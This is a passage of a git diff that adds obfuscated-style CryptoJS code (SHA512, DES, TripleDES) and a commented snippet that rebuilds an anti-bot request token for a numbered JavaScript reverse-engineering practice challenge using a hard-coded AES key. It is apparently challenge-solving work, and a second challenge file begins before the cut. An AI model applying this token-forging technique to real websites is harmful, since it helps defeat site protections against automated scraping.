0xe372532b), l(0xca273ece, 0xea26619c), l(0xd186b8c7, 0x21c0c207), l(0xeada7dd6, 0xcde0eb1e), l(0xf57d4f7f, 0xee6ed178), l(0x6f067aa, 0x72176fba), l(0xa637dc5, 0xa2c898a6), l(0x113f9804, 0xbef90dae), l(0x1b710b35, 0x131c471b), l(0x28db77f5, 0x23047d84), l(0x32caab7b, 0x40c72493), l(0x3c9ebe0a, 0x15c9bebc), l(0x431d67c4, 0x9c100d4c), l(0x4cc5d4be, 0xcb3e42b6), l(0x597f299c, 0xfc657e2a), l(0x5fcb6fab, 0x3ad6faec), l(0x6c44198c, 0x4a475817)] + , n = []; + (function() { + for (var p = 0x0; p < 0x50; p++) { + n[p] = l(); + } + }()); + var o = k['SHA512'] = g['extend']({ + '_doReset': function() { + this['_hash'] = new j['init']([new i['init'](0x6a09e667,0xf3bcc908), new i['init'](0xbb67ae85,0x84caa73b), new i['init'](0x3c6ef372,0xfe94f82b), new i['init'](0xa54ff53a,0x5f1d36f1), new i['init'](0x510e527f,0xade682d1), new i['init'](0x9b05688c,0x2b3e6c1f), new i['init'](0x1f83d9ab,0xfb41bd6b), new i['init'](0x5be0cd19,0x137e2179)]); + }, + '_doProcessBlock': function(p, q) { + var r = this['_hash']['words'] + , s = r[0x0] + , t = r[0x1] + , u = r[0x2] + , v = r[0x3] + , w = r[0x4] + , x = r[0x5] + , y = r[0x6] + , z = r[0x7] + , A = s['high'] + , B = s['low'] + , D = t['high'] + , E = t['low'] + , F = u['high'] + , G = u['low'] + , I = v['high'] + , J = v['low'] + , L = w['high'] + , N = w['low'] + , O = x['high'] + , P = x['low'] + , Q = y['high'] + , R = y['low'] + , S = z['high'] + , T = z['low'] + , U = A + , V = B + , X = D + , Y = E + , Z = F + , a0 = G + , a1 = I + , a2 = J + , a3 = L + , a4 = N + , a5 = O + , a6 = P + , a7 = Q + , a8 = R + , a9 = S + , aa = T; + for (var ab = 0x0; ab < 0x50; ab++) { + var ac, ad, ae = n[ab]; + if (ab < 0x10) + ad = ae['high'] = p[q + ab * 0x2] | 0x0, + ac = ae['low'] = p[q + ab * 0x2 + 0x1] | 0x0; + else { + var af = n[ab - 0xf] + , ag = af['high'] + , ai = af['low'] + , aj = (ag >>> 0x1 | ai << 0x1f) ^ (ag >>> 0x8 | ai << 0x18) ^ ag >>> 0x7 + , ak = (ai >>> 0x1 | ag << 0x1f) ^ (ai >>> 0x8 | ag << 0x18) ^ (ai >>> 0x7 | ag << 0x19) + , am = n[ab - 0x2] + , an = am['high'] + , ao = am['low'] + , ap = (an >>> 0x13 | ao << 0xd) ^ (an << 0x3 | ao >>> 0x1d) ^ an >>> 0x6 + , aq = (ao >>> 0x13 | an << 0xd) ^ (ao << 0x3 | an >>> 0x1d) ^ (ao >>> 0x6 | an << 0x1a) + , ar = n[ab - 0x7] + , as = ar['high'] + , at = ar['low'] + , au = n[ab - 0x10] + , av = au['high'] + , aw = au['low']; + ac = ak + at, + ad = aj + as + (ac >>> 0x0 < ak >>> 0x0 ? 0x1 : 0x0), + ac = ac + aq, + ad = ad + ap + (ac >>> 0x0 < aq >>> 0x0 ? 0x1 : 0x0), + ac = ac + aw, + ad = ad + av + (ac >>> 0x0 < aw >>> 0x0 ? 0x1 : 0x0), + ae['high'] = ad, + ae['low'] = ac; + } + var ax = a3 & a5 ^ ~a3 & a7 + , ay = a4 & a6 ^ ~a4 & a8 + , az = U & X ^ U & Z ^ X & Z + , aA = V & Y ^ V & a0 ^ Y & a0 + , aB = (U >>> 0x1c | V << 0x4) ^ (U << 0x1e | V >>> 0x2) ^ (U << 0x19 | V >>> 0x7) + , aC = (V >>> 0x1c | U << 0x4) ^ (V << 0x1e | U >>> 0x2) ^ (V << 0x19 | U >>> 0x7) + , aD = (a3 >>> 0xe | a4 << 0x12) ^ (a3 >>> 0x12 | a4 << 0xe) ^ (a3 << 0x17 | a4 >>> 0x9) + , aE = (a4 >>> 0xe | a3 << 0x12) ^ (a4 >>> 0x12 | a3 << 0xe) ^ (a4 << 0x17 | a3 >>> 0x9) + , aF = m[ab] + , aG = aF['high'] + , aH = aF['low'] + , aI = aa + aE + , aJ = a9 + aD + (aI >>> 0x0 < aa >>> 0x0 ? 0x1 : 0x0) + , aI = aI + ay + , aJ = aJ + ax + (aI >>> 0x0 < ay >>> 0x0 ? 0x1 : 0x0) + , aI = aI + aH + , aJ = aJ + aG + (aI >>> 0x0 < aH >>> 0x0 ? 0x1 : 0x0) + , aI = aI + ac + , aJ = aJ + ad + (aI >>> 0x0 < ac >>> 0x0 ? 0x1 : 0x0) + , aK = aC + aA + , aL = aB + az + (aK >>> 0x0 < aC >>> 0x0 ? 0x1 : 0x0); + a9 = a7, + aa = a8, + a7 = a5, + a8 = a6, + a5 = a3, + a6 = a4, + a4 = a2 + aI | 0x0, + a3 = a1 + aJ + (a4 >>> 0x0 < a2 >>> 0x0 ? 0x1 : 0x0) | 0x0, + a1 = Z, + a2 = a0, + Z = X, + a0 = Y, + X = U, + Y = V, + V = aI + aK | 0x0, + U = aJ + aL + (V >>> 0x0 < aI >>> 0x0 ? 0x1 : 0x0) | 0x0; + } + B = s['low'] = B + V, + s['high'] = A + U + (B >>> 0x0 < V >>> 0x0 ? 0x1 : 0x0), + E = t['low'] = E + Y, + t['high'] = D + X + (E >>> 0x0 < Y >>> 0x0 ? 0x1 : 0x0), + G = u['low'] = G + a0, + u['high'] = F + Z + (G >>> 0x0 < a0 >>> 0x0 ? 0x1 : 0x0), + J = v['low'] = J + a2, + v['high'] = I + a1 + (J >>> 0x0 < a2 >>> 0x0 ? 0x1 : 0x0), + N = w['low'] = N + a4, + w['high'] = L + a3 + (N >>> 0x0 < a4 >>> 0x0 ? 0x1 : 0x0), + P = x['low'] = P + a6, + x['high'] = O + a5 + (P >>> 0x0 < a6 >>> 0x0 ? 0x1 : 0x0), + R = y['low'] = R + a8, + y['high'] = Q + a7 + (R >>> 0x0 < a8 >>> 0x0 ? 0x1 : 0x0), + T = z['low'] = T + aa, + z['high'] = S + a9 + (T >>> 0x0 < aa >>> 0x0 ? 0x1 : 0x0); + }, + '_doFinalize': function() { + var p = this['_data'] + , q = p['words'] + , r = this['_nDataBytes'] * 0x8 + , s = p['sigBytes'] * 0x8; + q[s >>> 0x5] |= 0x80 << 0x18 - s % 0x20, + q[(s + 0x80 >>> 0xa << 0x5) + 0x1e] = Math['floor'](r / 0x100000000), + q[(s + 0x80 >>> 0xa << 0x5) + 0x1f] = r, + p['sigBytes'] = q['length'] * 0x4, + this['_process'](); + var t = this['_hash']['toX32'](); + return t; + }, + 'clone': function() { + var p = g['clone']['call'](this); + return p['_hash'] = this['_hash']['clone'](), + p; + }, + 'blockSize': 0x400 / 0x20 + }); + e['SHA512'] = g['_createHelper'](o), + e['HmacSHA512'] = g['_createHmacHelper'](o); + }()), + d['SHA512']; + })); + } + , { + './core': 0x5, + './x64-core': 0x25 + }], + 0x24: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./enc-base64'), a('./md5'), a('./evpkdf'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './enc-base64', './md5', './evpkdf', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['lib'] + , g = f['WordArray'] + , h = f['BlockCipher'] + , i = e['algo'] + , j = [0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x9, 0x1, 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0xa, 0x2, 0x3b, 0x33, 0x2b, 0x23, 0x1b, 0x13, 0xb, 0x3, 0x3c, 0x34, 0x2c, 0x24, 0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0xf, 0x7, 0x3e, 0x36, 0x2e, 0x26, 0x1e, 0x16, 0xe, 0x6, 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0xd, 0x5, 0x1c, 0x14, 0xc, 0x4] + , k = [0xe, 0x11, 0xb, 0x18, 0x1, 0x5, 0x3, 0x1c, 0xf, 0x6, 0x15, 0xa, 0x17, 0x13, 0xc, 0x4, 0x1a, 0x8, 0x10, 0x7, 0x1b, 0x14, 0xd, 0x2, 0x29, 0x34, 0x1f, 0x25, 0x2f, 0x37, 0x1e, 0x28, 0x33, 0x2d, 0x21, 0x30, 0x2c, 0x31, 0x27, 0x38, 0x22, 0x35, 0x2e, 0x2a, 0x32, 0x24, 0x1d, 0x20] + , l = [0x1, 0x2, 0x4, 0x6, 0x8, 0xa, 0xc, 0xe, 0xf, 0x11, 0x13, 0x15, 0x17, 0x19, 0x1b, 0x1c] + , m = [{ + 0x0: 0x808200, + 0x10000000: 0x8000, + 0x20000000: 0x808002, + 0x30000000: 0x2, + 0x40000000: 0x200, + 0x50000000: 0x808202, + 0x60000000: 0x800202, + 0x70000000: 0x800000, + 0x80000000: 0x202, + 0x90000000: 0x800200, + 0xa0000000: 0x8200, + 0xb0000000: 0x808000, + 0xc0000000: 0x8002, + 0xd0000000: 0x800002, + 0xe0000000: 0x0, + 0xf0000000: 0x8202, + 0x8000000: 0x0, + 0x18000000: 0x808202, + 0x28000000: 0x8202, + 0x38000000: 0x8000, + 0x48000000: 0x808200, + 0x58000000: 0x200, + 0x68000000: 0x808002, + 0x78000000: 0x2, + 0x88000000: 0x800200, + 0x98000000: 0x8200, + 0xa8000000: 0x808000, + 0xb8000000: 0x800202, + 0xc8000000: 0x800002, + 0xd8000000: 0x8002, + 0xe8000000: 0x202, + 0xf8000000: 0x800000, + 0x1: 0x8000, + 0x10000001: 0x2, + 0x20000001: 0x808200, + 0x30000001: 0x800000, + 0x40000001: 0x808002, + 0x50000001: 0x8200, + 0x60000001: 0x200, + 0x70000001: 0x800202, + 0x80000001: 0x808202, + 0x90000001: 0x808000, + 0xa0000001: 0x800002, + 0xb0000001: 0x8202, + 0xc0000001: 0x202, + 0xd0000001: 0x800200, + 0xe0000001: 0x8002, + 0xf0000001: 0x0, + 0x8000001: 0x808202, + 0x18000001: 0x808000, + 0x28000001: 0x800000, + 0x38000001: 0x200, + 0x48000001: 0x8000, + 0x58000001: 0x800002, + 0x68000001: 0x2, + 0x78000001: 0x8202, + 0x88000001: 0x8002, + 0x98000001: 0x800202, + 0xa8000001: 0x202, + 0xb8000001: 0x808200, + 0xc8000001: 0x800200, + 0xd8000001: 0x0, + 0xe8000001: 0x8200, + 0xf8000001: 0x808002 + }, { + 0x0: 0x40084010, + 0x1000000: 0x4000, + 0x2000000: 0x80000, + 0x3000000: 0x40080010, + 0x4000000: 0x40000010, + 0x5000000: 0x40084000, + 0x6000000: 0x40004000, + 0x7000000: 0x10, + 0x8000000: 0x84000, + 0x9000000: 0x40004010, + 0xa000000: 0x40000000, + 0xb000000: 0x84010, + 0xc000000: 0x80010, + 0xd000000: 0x0, + 0xe000000: 0x4010, + 0xf000000: 0x40080000, + 0x800000: 0x40004000, + 0x1800000: 0x84010, + 0x2800000: 0x10, + 0x3800000: 0x40004010, + 0x4800000: 0x40084010, + 0x5800000: 0x40000000, + 0x6800000: 0x80000, + 0x7800000: 0x40080010, + 0x8800000: 0x80010, + 0x9800000: 0x0, + 0xa800000: 0x4000, + 0xb800000: 0x40080000, + 0xc800000: 0x40000010, + 0xd800000: 0x84000, + 0xe800000: 0x40084000, + 0xf800000: 0x4010, + 0x10000000: 0x0, + 0x11000000: 0x40080010, + 0x12000000: 0x40004010, + 0x13000000: 0x40084000, + 0x14000000: 0x40080000, + 0x15000000: 0x10, + 0x16000000: 0x84010, + 0x17000000: 0x4000, + 0x18000000: 0x4010, + 0x19000000: 0x80000, + 0x1a000000: 0x80010, + 0x1b000000: 0x40000010, + 0x1c000000: 0x84000, + 0x1d000000: 0x40004000, + 0x1e000000: 0x40000000, + 0x1f000000: 0x40084010, + 0x10800000: 0x84010, + 0x11800000: 0x80000, + 0x12800000: 0x40080000, + 0x13800000: 0x4000, + 0x14800000: 0x40004000, + 0x15800000: 0x40084010, + 0x16800000: 0x10, + 0x17800000: 0x40000000, + 0x18800000: 0x40084000, + 0x19800000: 0x40000010, + 0x1a800000: 0x40004010, + 0x1b800000: 0x80010, + 0x1c800000: 0x0, + 0x1d800000: 0x4010, + 0x1e800000: 0x40080010, + 0x1f800000: 0x84000 + }, { + 0x0: 0x104, + 0x100000: 0x0, + 0x200000: 0x4000100, + 0x300000: 0x10104, + 0x400000: 0x10004, + 0x500000: 0x4000004, + 0x600000: 0x4010104, + 0x700000: 0x4010000, + 0x800000: 0x4000000, + 0x900000: 0x4010100, + 0xa00000: 0x10100, + 0xb00000: 0x4010004, + 0xc00000: 0x4000104, + 0xd00000: 0x10000, + 0xe00000: 0x4, + 0xf00000: 0x100, + 0x80000: 0x4010100, + 0x180000: 0x4010004, + 0x280000: 0x0, + 0x380000: 0x4000100, + 0x480000: 0x4000004, + 0x580000: 0x10000, + 0x680000: 0x10004, + 0x780000: 0x104, + 0x880000: 0x4, + 0x980000: 0x100, + 0xa80000: 0x4010000, + 0xb80000: 0x10104, + 0xc80000: 0x10100, + 0xd80000: 0x4000104, + 0xe80000: 0x4010104, + 0xf80000: 0x4000000, + 0x1000000: 0x4010100, + 0x1100000: 0x10004, + 0x1200000: 0x10000, + 0x1300000: 0x4000100, + 0x1400000: 0x100, + 0x1500000: 0x4010104, + 0x1600000: 0x4000004, + 0x1700000: 0x0, + 0x1800000: 0x4000104, + 0x1900000: 0x4000000, + 0x1a00000: 0x4, + 0x1b00000: 0x10100, + 0x1c00000: 0x4010000, + 0x1d00000: 0x104, + 0x1e00000: 0x10104, + 0x1f00000: 0x4010004, + 0x1080000: 0x4000000, + 0x1180000: 0x104, + 0x1280000: 0x4010100, + 0x1380000: 0x0, + 0x1480000: 0x10004, + 0x1580000: 0x4000100, + 0x1680000: 0x100, + 0x1780000: 0x4010004, + 0x1880000: 0x10000, + 0x1980000: 0x4010104, + 0x1a80000: 0x10104, + 0x1b80000: 0x4000004, + 0x1c80000: 0x4000104, + 0x1d80000: 0x4010000, + 0x1e80000: 0x4, + 0x1f80000: 0x10100 + }, { + 0x0: 0x80401000, + 0x10000: 0x80001040, + 0x20000: 0x401040, + 0x30000: 0x80400000, + 0x40000: 0x0, + 0x50000: 0x401000, + 0x60000: 0x80000040, + 0x70000: 0x400040, + 0x80000: 0x80000000, + 0x90000: 0x400000, + 0xa0000: 0x40, + 0xb0000: 0x80001000, + 0xc0000: 0x80400040, + 0xd0000: 0x1040, + 0xe0000: 0x1000, + 0xf0000: 0x80401040, + 0x8000: 0x80001040, + 0x18000: 0x40, + 0x28000: 0x80400040, + 0x38000: 0x80001000, + 0x48000: 0x401000, + 0x58000: 0x80401040, + 0x68000: 0x0, + 0x78000: 0x80400000, + 0x88000: 0x1000, + 0x98000: 0x80401000, + 0xa8000: 0x400000, + 0xb8000: 0x1040, + 0xc8000: 0x80000000, + 0xd8000: 0x400040, + 0xe8000: 0x401040, + 0xf8000: 0x80000040, + 0x100000: 0x400040, + 0x110000: 0x401000, + 0x120000: 0x80000040, + 0x130000: 0x0, + 0x140000: 0x1040, + 0x150000: 0x80400040, + 0x160000: 0x80401000, + 0x170000: 0x80001040, + 0x180000: 0x80401040, + 0x190000: 0x80000000, + 0x1a0000: 0x80400000, + 0x1b0000: 0x401040, + 0x1c0000: 0x80001000, + 0x1d0000: 0x400000, + 0x1e0000: 0x40, + 0x1f0000: 0x1000, + 0x108000: 0x80400000, + 0x118000: 0x80401040, + 0x128000: 0x0, + 0x138000: 0x401000, + 0x148000: 0x400040, + 0x158000: 0x80000000, + 0x168000: 0x80001040, + 0x178000: 0x40, + 0x188000: 0x80000040, + 0x198000: 0x1000, + 0x1a8000: 0x80001000, + 0x1b8000: 0x80400040, + 0x1c8000: 0x1040, + 0x1d8000: 0x80401000, + 0x1e8000: 0x400000, + 0x1f8000: 0x401040 + }, { + 0x0: 0x80, + 0x1000: 0x1040000, + 0x2000: 0x40000, + 0x3000: 0x20000000, + 0x4000: 0x20040080, + 0x5000: 0x1000080, + 0x6000: 0x21000080, + 0x7000: 0x40080, + 0x8000: 0x1000000, + 0x9000: 0x20040000, + 0xa000: 0x20000080, + 0xb000: 0x21040080, + 0xc000: 0x21040000, + 0xd000: 0x0, + 0xe000: 0x1040080, + 0xf000: 0x21000000, + 0x800: 0x1040080, + 0x1800: 0x21000080, + 0x2800: 0x80, + 0x3800: 0x1040000, + 0x4800: 0x40000, + 0x5800: 0x20040080, + 0x6800: 0x21040000, + 0x7800: 0x20000000, + 0x8800: 0x20040000, + 0x9800: 0x0, + 0xa800: 0x21040080, + 0xb800: 0x1000080, + 0xc800: 0x20000080, + 0xd800: 0x21000000, + 0xe800: 0x1000000, + 0xf800: 0x40080, + 0x10000: 0x40000, + 0x11000: 0x80, + 0x12000: 0x20000000, + 0x13000: 0x21000080, + 0x14000: 0x1000080, + 0x15000: 0x21040000, + 0x16000: 0x20040080, + 0x17000: 0x1000000, + 0x18000: 0x21040080, + 0x19000: 0x21000000, + 0x1a000: 0x1040000, + 0x1b000: 0x20040000, + 0x1c000: 0x40080, + 0x1d000: 0x20000080, + 0x1e000: 0x0, + 0x1f000: 0x1040080, + 0x10800: 0x21000080, + 0x11800: 0x1000000, + 0x12800: 0x1040000, + 0x13800: 0x20040080, + 0x14800: 0x20000000, + 0x15800: 0x1040080, + 0x16800: 0x80, + 0x17800: 0x21040000, + 0x18800: 0x40080, + 0x19800: 0x21040080, + 0x1a800: 0x0, + 0x1b800: 0x21000000, + 0x1c800: 0x1000080, + 0x1d800: 0x40000, + 0x1e800: 0x20040000, + 0x1f800: 0x20000080 + }, { + 0x0: 0x10000008, + 0x100: 0x2000, + 0x200: 0x10200000, + 0x300: 0x10202008, + 0x400: 0x10002000, + 0x500: 0x200000, + 0x600: 0x200008, + 0x700: 0x10000000, + 0x800: 0x0, + 0x900: 0x10002008, + 0xa00: 0x202000, + 0xb00: 0x8, + 0xc00: 0x10200008, + 0xd00: 0x202008, + 0xe00: 0x2008, + 0xf00: 0x10202000, + 0x80: 0x10200000, + 0x180: 0x10202008, + 0x280: 0x8, + 0x380: 0x200000, + 0x480: 0x202008, + 0x580: 0x10000008, + 0x680: 0x10002000, + 0x780: 0x2008, + 0x880: 0x200008, + 0x980: 0x2000, + 0xa80: 0x10002008, + 0xb80: 0x10200008, + 0xc80: 0x0, + 0xd80: 0x10202000, + 0xe80: 0x202000, + 0xf80: 0x10000000, + 0x1000: 0x10002000, + 0x1100: 0x10200008, + 0x1200: 0x10202008, + 0x1300: 0x2008, + 0x1400: 0x200000, + 0x1500: 0x10000000, + 0x1600: 0x10000008, + 0x1700: 0x202000, + 0x1800: 0x202008, + 0x1900: 0x0, + 0x1a00: 0x8, + 0x1b00: 0x10200000, + 0x1c00: 0x2000, + 0x1d00: 0x10002008, + 0x1e00: 0x10202000, + 0x1f00: 0x200008, + 0x1080: 0x8, + 0x1180: 0x202000, + 0x1280: 0x200000, + 0x1380: 0x10000008, + 0x1480: 0x10002000, + 0x1580: 0x2008, + 0x1680: 0x10202008, + 0x1780: 0x10200000, + 0x1880: 0x10202000, + 0x1980: 0x10200008, + 0x1a80: 0x2000, + 0x1b80: 0x202008, + 0x1c80: 0x200008, + 0x1d80: 0x0, + 0x1e80: 0x10000000, + 0x1f80: 0x10002008 + }, { + 0x0: 0x100000, + 0x10: 0x2000401, + 0x20: 0x400, + 0x30: 0x100401, + 0x40: 0x2100401, + 0x50: 0x0, + 0x60: 0x1, + 0x70: 0x2100001, + 0x80: 0x2000400, + 0x90: 0x100001, + 0xa0: 0x2000001, + 0xb0: 0x2100400, + 0xc0: 0x2100000, + 0xd0: 0x401, + 0xe0: 0x100400, + 0xf0: 0x2000000, + 0x8: 0x2100001, + 0x18: 0x0, + 0x28: 0x2000401, + 0x38: 0x2100400, + 0x48: 0x100000, + 0x58: 0x2000001, + 0x68: 0x2000000, + 0x78: 0x401, + 0x88: 0x100401, + 0x98: 0x2000400, + 0xa8: 0x2100000, + 0xb8: 0x100001, + 0xc8: 0x400, + 0xd8: 0x2100401, + 0xe8: 0x1, + 0xf8: 0x100400, + 0x100: 0x2000000, + 0x110: 0x100000, + 0x120: 0x2000401, + 0x130: 0x2100001, + 0x140: 0x100001, + 0x150: 0x2000400, + 0x160: 0x2100400, + 0x170: 0x100401, + 0x180: 0x401, + 0x190: 0x2100401, + 0x1a0: 0x100400, + 0x1b0: 0x1, + 0x1c0: 0x0, + 0x1d0: 0x2100000, + 0x1e0: 0x2000001, + 0x1f0: 0x400, + 0x108: 0x100400, + 0x118: 0x2000401, + 0x128: 0x2100001, + 0x138: 0x1, + 0x148: 0x2000000, + 0x158: 0x100000, + 0x168: 0x401, + 0x178: 0x2100400, + 0x188: 0x2000001, + 0x198: 0x2100000, + 0x1a8: 0x0, + 0x1b8: 0x2100401, + 0x1c8: 0x100401, + 0x1d8: 0x400, + 0x1e8: 0x2000400, + 0x1f8: 0x100001 + }, { + 0x0: 0x8000820, + 0x1: 0x20000, + 0x2: 0x8000000, + 0x3: 0x20, + 0x4: 0x20020, + 0x5: 0x8020820, + 0x6: 0x8020800, + 0x7: 0x800, + 0x8: 0x8020000, + 0x9: 0x8000800, + 0xa: 0x20800, + 0xb: 0x8020020, + 0xc: 0x820, + 0xd: 0x0, + 0xe: 0x8000020, + 0xf: 0x20820, + 0x80000000: 0x800, + 0x80000001: 0x8020820, + 0x80000002: 0x8000820, + 0x80000003: 0x8000000, + 0x80000004: 0x8020000, + 0x80000005: 0x20800, + 0x80000006: 0x20820, + 0x80000007: 0x20, + 0x80000008: 0x8000020, + 0x80000009: 0x820, + 0x8000000a: 0x20020, + 0x8000000b: 0x8020800, + 0x8000000c: 0x0, + 0x8000000d: 0x8020020, + 0x8000000e: 0x8000800, + 0x8000000f: 0x20000, + 0x10: 0x20820, + 0x11: 0x8020800, + 0x12: 0x20, + 0x13: 0x800, + 0x14: 0x8000800, + 0x15: 0x8000020, + 0x16: 0x8020020, + 0x17: 0x20000, + 0x18: 0x0, + 0x19: 0x20020, + 0x1a: 0x8020000, + 0x1b: 0x8000820, + 0x1c: 0x8020820, + 0x1d: 0x20800, + 0x1e: 0x820, + 0x1f: 0x8000000, + 0x80000010: 0x20000, + 0x80000011: 0x800, + 0x80000012: 0x8020020, + 0x80000013: 0x20820, + 0x80000014: 0x20, + 0x80000015: 0x8020000, + 0x80000016: 0x8000000, + 0x80000017: 0x8000820, + 0x80000018: 0x8020820, + 0x80000019: 0x8000020, + 0x8000001a: 0x8000800, + 0x8000001b: 0x0, + 0x8000001c: 0x20800, + 0x8000001d: 0x820, + 0x8000001e: 0x20020, + 0x8000001f: 0x8020800 + }] + , n = [0xf8000001, 0x1f800000, 0x1f80000, 0x1f8000, 0x1f800, 0x1f80, 0x1f8, 0x8000001f] + , o = i['DES'] = h['extend']({ + '_doReset': function() { + var s = this['_key'] + , t = s['words'] + , u = []; + for (var v = 0x0; v < 0x38; v++) { + var w = j[v] - 0x1; + u[v] = t[w >>> 0x5] >>> 0x1f - w % 0x20 & 0x1; + } + var x = this['_subKeys'] = []; + for (var y = 0x0; y < 0x10; y++) { + var z = x[y] = [] + , A = l[y]; + for (var v = 0x0; v < 0x18; v++) { + z[v / 0x6 | 0x0] |= u[(k[v] - 0x1 + A) % 0x1c] << 0x1f - v % 0x6, + z[0x4 + (v / 0x6 | 0x0)] |= u[0x1c + (k[v + 0x18] - 0x1 + A) % 0x1c] << 0x1f - v % 0x6; + } + z[0x0] = z[0x0] << 0x1 | z[0x0] >>> 0x1f; + for (var v = 0x1; v < 0x7; v++) { + z[v] = z[v] >>> (v - 0x1) * 0x4 + 0x3; + } + z[0x7] = z[0x7] << 0x5 | z[0x7] >>> 0x1b; + } + var B = this['_invSubKeys'] = []; + for (var v = 0x0; v < 0x10; v++) { + B[v] = x[0xf - v]; + } + }, + 'encryptBlock': function(s, t) { + this['_doCryptBlock'](s, t, this['_subKeys']); + }, + 'decryptBlock': function(s, t) { + this['_doCryptBlock'](s, t, this['_invSubKeys']); + }, + '_doCryptBlock': function(s, u, v) { + this['_lBlock'] = s[u], + this['_rBlock'] = s[u + 0x1], + p['call'](this, 0x4, 0xf0f0f0f), + p['call'](this, 0x10, 0xffff), + q['call'](this, 0x2, 0x33333333), + q['call'](this, 0x8, 0xff00ff), + p['call'](this, 0x1, 0x55555555); + for (var w = 0x0; w < 0x10; w++) { + var x = v[w] + , y = this['_lBlock'] + , z = this['_rBlock'] + , A = 0x0; + for (var B = 0x0; B < 0x8; B++) { + A |= m[B][((z ^ x[B]) & n[B]) >>> 0x0]; + } + this['_lBlock'] = z, + this['_rBlock'] = y ^ A; + } + var D = this['_lBlock']; + this['_lBlock'] = this['_rBlock'], + this['_rBlock'] = D, + p['call'](this, 0x1, 0x55555555), + q['call'](this, 0x8, 0xff00ff), + q['call'](this, 0x2, 0x33333333), + p['call'](this, 0x10, 0xffff), + p['call'](this, 0x4, 0xf0f0f0f), + s[u] = this['_lBlock'], + s[u + 0x1] = this['_rBlock']; + }, + 'keySize': 0x40 / 0x20, + 'ivSize': 0x40 / 0x20, + 'blockSize': 0x40 / 0x20 + }); + function p(s, u) { + var v = (this['_lBlock'] >>> s ^ this['_rBlock']) & u; + this['_rBlock'] ^= v, + this['_lBlock'] ^= v << s; + } + function q(s, u) { + var v = (this['_rBlock'] >>> s ^ this['_lBlock']) & u; + this['_lBlock'] ^= v, + this['_rBlock'] ^= v << s; + } + e['DES'] = h['_createHelper'](o); + var r = i['TripleDES'] = h['extend']({ + '_doReset': function() { + var s = this['_key'] + , t = s['words']; + if (t['length'] !== 0x2 && t['length'] !== 0x4 && t['length'] < 0x6) + throw new Error('Invalid\x20key\x20length\x20-\x203DES\x20requires\x20the\x20key\x20length\x20to\x20be\x2064,\x20128,\x20192\x20or\x20>192.'); + var u = t['slice'](0x0, 0x2) + , v = t['length'] < 0x4 ? t['slice'](0x0, 0x2) : t['slice'](0x2, 0x4) + , w = t['length'] < 0x6 ? t['slice'](0x0, 0x2) : t['slice'](0x4, 0x6); + this['_des1'] = o['createEncryptor'](g['create'](u)), + this['_des2'] = o['createEncryptor'](g['create'](v)), + this['_des3'] = o['createEncryptor'](g['create'](w)); + }, + 'encryptBlock': function(s, t) { + this['_des1']['encryptBlock'](s, t), + this['_des2']['decryptBlock'](s, t), + this['_des3']['encryptBlock'](s, t); + }, + 'decryptBlock': function(s, t) { + this['_des3']['decryptBlock'](s, t), + this['_des2']['encryptBlock'](s, t), + this['_des1']['decryptBlock'](s, t); + }, + 'keySize': 0xc0 / 0x20, + 'ivSize': 0x40 / 0x20, + 'blockSize': 0x40 / 0x20 + }); + e['TripleDES'] = h['_createHelper'](r); + }()), + d['TripleDES']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5, + './enc-base64': 0x6, + './evpkdf': 0x9, + './md5': 0xe + }], + 0x25: [function(a, b, c) { + ;(function(d, e) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core')); + else + typeof define === 'function' && define['amd'] ? define(['./core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return function(e) { + var f = d + , g = f['lib'] + , h = g['Base'] + , i = g['WordArray'] + , j = f['x64'] = {} + , k = j['Word'] = h['extend']({ + 'init': function(m, n) { + this['high'] = m, + this['low'] = n; + } + }) + , l = j['WordArray'] = h['extend']({ + 'init': function(m, n) { + m = this['words'] = m || [], + n != e ? this['sigBytes'] = n : this['sigBytes'] = m['length'] * 0x8; + }, + 'toX32': function() { + var m = this['words'] + , n = m['length'] + , o = []; + for (var p = 0x0; p < n; p++) { + var q = m[p]; + o['push'](q['high']), + o['push'](q['low']); + } + return i['create'](o, this['sigBytes']); + }, + 'clone': function() { + var m = h['clone']['call'](this) + , n = m['words'] = this['words']['slice'](0x0) + , o = n['length']; + for (var p = 0x0; p < o; p++) { + n[p] = n[p]['clone'](); + } + return m; + } + }); + }(), + d; + })); + } + , { + './core': 0x5 + }] +}, {}, [0x2])); + + +// var e = Date['now']() +// debugger +// f = a('crypto-js') +// g = '666yuanrenxue66' +// h = f['AES']['encrypt'](e + String('1'), g, { +// 'mode': f['mode']['ECB'], +// 'padding': f['pad']['Pkcs7'] +// }) +// , i = '/api/match2023/1' +// , j = { +// 'page': String(d), +// 'token': f['MD5'](h['toString']())['toString'](), +// 'now': e +// }; +console.log(window.bobo) \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/run/第4题.js b/env_xbb_lastest_jsdom/run/第4题.js new file mode 100644 index 00000000..708e6382 --- /dev/null +++ b/env_xbb_lastest_jsdom/run/第4题.js @@ -0,0 +1,65230 @@ +// $={ +// ajax:function(){ +// debugger +// console.log('ajax---',JSON.stringify(arguments)) +// } +// } + +// $=new Proxy($,{ +// set:function(){ +// // console.log('Proxy---set',JSON.stringify_bo(arguments)) +// }, +// get:function (){ + +// // console.log('Proxy---get',JSON.stringify_bo(arguments)) +// } +// }) +var _$a; +_$a = function() { + var _$a = "RBE"; + var _$e = "h8M"; + var _$r = "B3"; + var _$c = "QbX"; + var _$v = "TE"; + var _$s = "nn"; + var _$n = "xap"; + var _$f = "uÑÌÏÈ×"; + var _$t = "CbG"; + var _$i = "O3k"; + var _$o = "Jqe"; + var _$k = "mpd"; + var _$b = "hYP"; + var _$l = "AEs"; + var _$h = "Y18"; + var _$g = "Wmf"; + var _$u = "Yxu"; + var _$p = "EBt"; + var _$y = "nJ"; + var _$w = "Rmx"; + var _$d = "O7"; + var _$M = "hQ"; + var _$I = "rk"; + var _$A = "hjm"; + var _$S = "so"; + var _$m = "LDG"; + var _$T = "mT"; + var _$j = "Xu"; + var _$C = "VxV"; + var _$D = "h5J"; + var _$K = "yyw"; + var _$Q = "sso"; + var _$W = 